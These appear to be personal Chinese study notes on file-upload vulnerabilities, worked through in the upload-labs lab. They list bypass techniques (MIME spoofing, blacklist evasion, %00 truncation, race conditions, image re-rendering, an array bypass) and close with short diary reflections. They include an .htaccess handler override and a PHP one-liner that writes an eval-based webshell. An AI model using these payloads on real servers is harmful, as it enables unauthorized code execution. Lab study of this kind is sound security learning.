.png)
只CTF中才常遇
传统原生态漏洞会逐渐减少,二次渲染,过滤,代码缺陷,解析缺陷这类
未来的文件上传会逐渐向分站存储、OSS对象存储这些云方向转移
知识点
前后端验证
类型文件头验证
后缀黑白名单验证
解析配置&二次渲染
逻辑缺陷&函数缺陷
学习前必读:
1、无文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
上传的jpg就算里面写了马,但是还是当做jpg执行,不会执行php代码
2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本(截断),语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。
另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!
代码可能没问题,但是支持代码的语言,中间件等也会出现问题
一、测试环境安装参考:
https://github.com/ffffffff0x/f8x
https://github.com/fuzzdb-project/fuzzdb
https://github.com/sqlsec/upload-labs-docker
0、下载上述资源
f8x在Linux上部署,一键搭建环境
1、docker安装
f8x -d 或f8x -docker
2、进入项目文件夹
cd upload-labs-docker
3、一键部署运行
docker-compose up -d
二、upload-labs-docker 知识点:
1、前端JS
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了 时间很快
2、.htaccess
AddType application/x-httpd-php .png
浅析.htaccess和.user.ini文件上传 - FreeBuf网络安全行业门户
3、MIME类型
Content-Type:image/png
4、文件头判断
GIF89a
5、黑名单-过滤不严
无递归,pphphp
6、黑名单-过滤不严
系统大小写敏感属性
7、低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00
8、低版本POST-%00截断
手工解码一次
../upload/x.php%00 二次解码
ur1上面 %00 (自动解码一次)
post下面 %00 (手工解码一次)
9、黑名单-过滤不严
php3
10、逻辑不严-条件竞争
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
上传不断发包请求不断发包
在文件删除前访问,写个多线程脚本不停上传
先上传 后面判断 处理逻辑
访问即创建代码搞出另一个后门
黑盒要先看一下路径和命名,如果随机就有点麻烦
访问后门的包用bp一直continue,创建后门的包也要一直上传重放,就算是毫秒也可以拿下
要抽时间专门学习一下bp
11、二次渲染
先搞个正常图片,上传导出渲染后的图片对比保留部分,在保留部分添加后门代码,最后利用提示的文件包含执行图片后门代码
12、函数缺陷
move_uploaded_file 1.php/.
保存文件名可控
13、代码审计-数组绕过
---------------------174283082921961
Content-Disposition:form-data;name="save name[0]"
http://2.php/
---------------------174283082921961
Content-Disposition:form-data;name="save name[2]"
gif
补充:
如果不学安全开发,那就永远会在基础徘徊,方向侧重开发
fuzz批量跑字典
00截断 是%00解码结果
小结
明天真要真要学Python了 不能再拖了 有的放矢
今天遇见了谁
都是磨炼 都是对我的考验 都是必须经历的
不知道算不算逃避
晚安 zmx
Comments NOTHING